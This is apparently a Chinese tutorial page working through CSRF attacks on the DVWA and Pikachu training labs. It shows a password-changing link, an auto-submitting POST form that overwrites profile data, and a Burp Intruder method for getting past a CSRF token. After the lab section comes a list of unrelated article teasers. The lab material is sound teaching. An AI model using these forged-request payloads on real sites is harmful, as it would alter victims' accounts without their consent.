CSRF靶场实战
DVWA靶场链接：https://pan.baidu.com/s/1eUlPyB-gjiZwI0wsNW_Vkw?pwd=0b52
提取码：0b52
DVWA Low 级别打开靶场，修改密码
复制上面的 url，写个简单的 html 文件
<html
<body> <a href=http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Ch ange=Change#>csrf</a>
</body>
</html>
点击链接后，在dvwa未login out的情况下，直接修改了密码
Pikachu 靶场：链接：https://pan.baidu.com/s/12L5WZKrlI_RlYPmo1AjQRg?pwd=ndwj
提取码：ndwj
Get 型
根据提示，我们随机选择账号进行登录。在这里，以lili账号为例，进行登录。
登录之后，可以看到lili的个人信息
点击修改 lili 的信息并进行抓包
后台没做 CSRF token，同时也是通过 GET 请求来提交修改信息，我们拿到这个，修改一下，然后让 allen 点击就好，我们构造的 URL 中把地址 add 改为 hacker。allen 一点击就修改了地址。CSRF 的主要问题是敏感操作容易被伪造，我们可以加入 Token 让请求不容易被伪造
Go 一下之后去访问上面的链接，就发现上面的信息被更改了
Post 型
尝试构造form表单CSRF_post.html，点击链接恶意修改个人信息
<html><head><script> window.onload = function() {
document.getElementById("postsubmit").click();
}</script></head><body>
<form method="post" action="http://[站点IP/域名]/pikachu/vul/csrf/csrfpost/csrf_post_edit.php"> <input id="sex" type="text" name="sex" value="hacker" />
<input id="phonenum" type="text" name="phonenum" value="11111111111" />
<input id="add" type="text" name="add" value="hacker" />
<input id="email" type="text" name="email" value="hacker@pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit"/></form></body></html>
访问该表单后，个人信息就发生了变化
CSRF Token login
token 是如何防止 CSRF 的：CSRF 的主要问题是敏感操作的链接容易被伪造。
解决容易被伪造的方法：每次请求，都增加一个随机码（需要够随机，不容易伪造），后台每次对这个随机码进行验证
1. 在 pikachu 的 CSRF Token 页面以 lucy 的账号进行登录，然后修改信息，并进行抓包，这里我们可以看到有 token 值
Token 值，防 CSRF
2.每次刷新页面，token值都会发生变化。这样就防止了CSRF 这里的确是没法伪造的试试绕过token，将请求包发送到Intruder模块，设置positions，攻击模式设置为Pitchfork，这里只把电话号码和token设置为了变量
设置payload，这里就不使用字典了，直接随便指定几个号码，主要看一下token 怎么设置poaylod
主要为了获取“上一次响应数据包”中的token值，在响应包中找到token值，规则添加成功
因为需要提交token，所以不能使用多线程，需要把线程数改为1
重定向响应，这里设置为总是跟随重定向
设置递归
攻击成功
相关文章：
CSRF靶场实战
DVWA靶场链接：https://pan.baidu.com/s/1eUlPyB-gjiZwI0wsNW_Vkw?pwd0b52 提取码：0b52 DVWA Low 级别打开靶场，修改密码 复制上面的 url，写个简单的 html 文件 <html <body> <a hrefhttp://127.0.0.1/DVWA/vulne…...
小程序性能优化
背景 在开发小程序的过程中我们发现，小程序的经常会遇到性能问题，尤其是在微信开发者工具的时候更是格外的卡，经过排查发现，卡顿的页面有这么多的js代码需要加载，而且都是在进入这个页面的时候加载，这就会…...
C++拿几道题练练手吧
第 1 题 【 问答题 】 • 最短路径问题 平面上有n个点(n<100)，每个点的坐标均在-10000~10000之间。其中的一些点之间有连线。 若有连线，则表示可从一个点到达另一个点，即两点间有通路，通路的距离为两点间的直线距离。现在的任务…...
【国产MCU】-CH32V307-I2C控制器
I2C控制器 文章目录 I2C控制器1、I2C模块介绍2、I2C驱动API介绍3、I2C使用实例3.1 主模式3.1.1 主设备发送模式和主设备接收模式3.1.2 DMA方式发送3.2 从模式内部集成电路总线（I2C）广泛用在微控制器和传感器及其他片外模块的通讯上，它本身支持多主多从模式，仅仅使用两根线（…...
k8s pod理论
一、Pod概述 1、Pod的定义 Pod是K8S中创建和管理的最小单位。 2、一个Pod至少包含多少容器 1个pause容器（基础容器/父容器/根容器）和 1个或者多个应用容器（业务容器） 通常一个Pod最好只包含一个应用容器，一个应用容…...
智慧应急：构建全方位、立体化的安全保障网络
一、引言 在信息化、智能化快速发展的今天，传统的应急管理模式已难以满足现代社会对安全保障的需求。智慧应急作为一种全新的安全管理模式，旨在通过集成物联网、大数据、云计算、人工智能等先进技术，实现对应急事件的快速响应、精准决策和高…...
国际黄金价格是什么？和黄金价格有何区别？
黄金是世界上最珍贵的贵金属之一，其价值被无数人所垂涎。而国际黄金价格作为市场上的参考指标，直接影响着黄金交易的买卖。那么国际黄金价格到底是什么，与黄金价格又有何区别呢？本文将为您详细解答。 国际黄金价格是指以美元计量的…...
React入门简介
React简介 react是Facebook用来创建用户界面的js库。React不是一个MVC框架，而是一个用于构建组件ui库，是一个前端界面开发工具，所以很多人认为React是MVC中的V（视图）。React的存在能够很好的解决‘构建随着时间数据不断…...
强化学习_06_pytorch-PPO实践(Hopper-v4)
一、PPO优化 PPO的简介和实践可以看笔者之前的文章 强化学习_06_pytorch-PPO实践(Pendulum-v1) 针对之前的PPO做了主要以下优化： batch_normalize: 在mini_batch 函数中进行adv的normalize, 加速模型对adv的学习policyNet采用beta分布(0~1): 同时增加MaxMinScale …...
Scala Intellij编译错误：idea报错xxxx“is already defined as”
今天写scala代码时,Idea报了这样的错误，如下图所示： 一般情况下原因分两种： 第一是我们定义的类或对象重复多次出现，编译器无法确定使用哪个定义。 这通常是由于以下几个原因导致的： 重复定义：在同一个文件…...
面试笔记系列五之MySql+Mybaits基础知识点整理及常见面试题
myibatis执行过程 1读取MyBatis的配置文件。 mybatis-config.xml为MyBatis的全局配置文件，用于配置数据库连接信息。 2加载映射文件。映射文件即SQL映射文件，该文件中配置了操作数据库的SQL语句，需要在MyBatis配置文件mybatis-config.xml中…...
掌握Pillow：Python图像处理的艺术
掌握Pillow：Python图像处理的艺术 引言Python与图像处理的概述Pillow库基础导入Pillow库基本概念图像的打开、保存和显示 图像操作基础图像的剪裁图像的旋转和缩放色彩转换和滤镜应用文字和图形的绘制 高级图像处理图像的合成与蒙版操作像素级操作与图像增强复杂图形…...
React最常用的几个hook
React最常用的几个Hook包括：useState、useEffect、useRef以及useContext。 useState： 用于在函数组件中添加状态管理。它返回一个数组，第一个元素是当前状态的值，第二个元素是更新状态的函数。在使用时，可以通过解构赋…...
自然语言处理Gensim入门：建模与模型保存
文章目录 自然语言处理Gensim入门：建模与模型保存关于gensim基础知识1. 模块导入2. 内部变量定义3. 主函数入口 (if __name__ __main__:)4. 加载语料库映射5. 加载和预处理语料库6. 根据方法参数选择模型训练方式7. 保存模型和变换后的语料8.代码 自然语言处理Gens…...
Windows 10中Visual Studio Code（VSCode）无法自动打开终端的解决办法
1.检查设置： 打开VSCode。点击左侧菜单栏的“文件”（File）。选择“首选项”（Preferences）。点击“设置”（Settings）。在搜索框中输入“shell”，然后点击“settings.json”进行编辑。…...
python dictionary 字典中的内置函数介绍及其示例
Python字典内置方法： 本文介绍了Python字典（dictionary）中的内置函数及其用法示例。字典是Python中非常常用的一种数据结构，它允许我们通过键（key）来快速查找、添加、修改或删除值（value&#…...
pdf转word文档怎么转？分享4种转换方法
pdf转word文档怎么转？在日常工作中，我们经常遇到需要将PDF文件转换为Word文档的情况。无论是为了编辑、修改还是为了重新排版，将PDF转为Word都显得尤为重要。那么，PDF转Word文档怎么转呢？今天，就为大家分享…...
深度测试：指定DoC ID对ES写入性能的影响
在[[使用python批量写入ES索引数据]]中已经介绍了如何批量写入ES数据。基于该流程实际测试一下指定文档ID对ES性能的影响有多大。 一句话版 指定ID比不指定ID的性能下降了63%，且加剧趋势。 以下是测评验证的细节。 百万数据量 索引默认使用1分片和1副本。 指定…...
【JGit】 AddCommand 新增的文件不能添加到暂存区
执行git.add().addFilepattern(".").setUpdate(true).call() 。新增的文件不能添加到暂存区，为什么？ 在 JGit 中，setUpdate(true) 方法用于在调用 AddCommand 的 addFilepattern() 方法时，将已跟踪文件标记为需要更新。…...
golang学习6，glang的web的restful接口传参
1.get传参 //get请求 返回json 接口传参r.GET("/getJson/:id", controller.GetUserInfo) 1.2.接收处理 package controllerimport "github.com/gin-gonic/gin"func GetUserInfo(c *gin.Context) {_ c.Param("id")ReturnSucess(c, 200, &quo…...
Docker 离线安装指南
参考文章 1、确认操作系统类型及内核版本 Docker依赖于Linux内核的一些特性，不同版本的Docker对内核版本有不同要求。例如，Docker 17.06及之后的版本通常需要Linux内核3.10及以上版本，Docker17.09及更高版本对应Linux内核4.9.x及更高版本。…...
相机Camera日志实例分析之二：相机Camx【专业模式开启直方图拍照】单帧流程日志详解
【关注我，后续持续新增专题博文，谢谢！！！】 上一篇我们讲了： 这一篇我们开始讲： 目录 一、场景操作步骤 二、日志基础关键字分级如下 三、场景日志如下： 一、场景操作步骤 操作步…...
Python如何给视频添加音频和字幕
在Python中，给视频添加音频和字幕可以使用电影文件处理库MoviePy和字幕处理库Subtitles。下面将详细介绍如何使用这些库来实现视频的音频和字幕添加，包括必要的代码示例和详细解释。 环境准备 在开始之前，需要安装以下Python库：…...
CMake 从 GitHub 下载第三方库并使用
有时我们希望直接使用 GitHub 上的开源库，而不想手动下载、编译和安装。 可以利用 CMake 提供的 FetchContent 模块来实现自动下载、构建和链接第三方库。 FetchContent 命令官方文档✅ 示例代码 我们将以 fmt 这个流行的格式化库为例，演示如何： 使用 FetchContent 从 GitH…...
Redis数据倾斜问题解决
Redis 数据倾斜问题解析与解决方案 什么是 Redis 数据倾斜 Redis 数据倾斜指的是在 Redis 集群中，部分节点存储的数据量或访问量远高于其他节点，导致这些节点负载过高，影响整体性能。 数据倾斜的主要表现 部分节点内存使用率远高于其他节…...
JVM虚拟机：内存结构、垃圾回收、性能优化
1、JVM虚拟机的简介 Java 虚拟机（Java Virtual Machine 简称：JVM）是运行所有 Java 程序的抽象计算机，是 Java 语言的运行环境，实现了 Java 程序的跨平台特性。JVM 屏蔽了与具体操作系统平台相关的信息，使得 Java 程序只需生成在 JVM 上运行的目标代码（字节码），就可以…...
CVE-2020-17519源码分析与漏洞复现(Flink 任意文件读取)
漏洞概览 漏洞名称：Apache Flink REST API 任意文件读取漏洞CVE编号：CVE-2020-17519CVSS评分：7.5影响版本：Apache Flink 1.11.0、1.11.1、1.11.2修复版本：≥ 1.11.3 或 ≥ 1.12.0漏洞类型：路径遍历&#x…...
OD 算法题 B卷【正整数到Excel编号之间的转换】
文章目录 正整数到Excel编号之间的转换 正整数到Excel编号之间的转换 excel的列编号是这样的：a b c … z aa ab ac… az ba bb bc…yz za zb zc …zz aaa aab aac…; 分别代表以下的编号1 2 3 … 26 27 28 29… 52 53 54 55… 676 677 678 679 … 702 703 704 705;…...
实战三：开发网页端界面完成黑白视频转为彩色视频
一、需求描述 设计一个简单的视频上色应用，用户可以通过网页界面上传黑白视频，系统会自动将其转换为彩色视频。整个过程对用户来说非常简单直观，不需要了解技术细节。 效果图 二、实现思路 总体思路： 用户通过Gradio界面上…...
论文阅读：LLM4Drive: A Survey of Large Language Models for Autonomous Driving
地址：LLM4Drive: A Survey of Large Language Models for Autonomous Driving 摘要翻译 自动驾驶技术作为推动交通和城市出行变革的催化剂，正从基于规则的系统向数据驱动策略转变。传统的模块化系统受限于级联模块间的累积误差和缺乏灵活性的预设规则。…...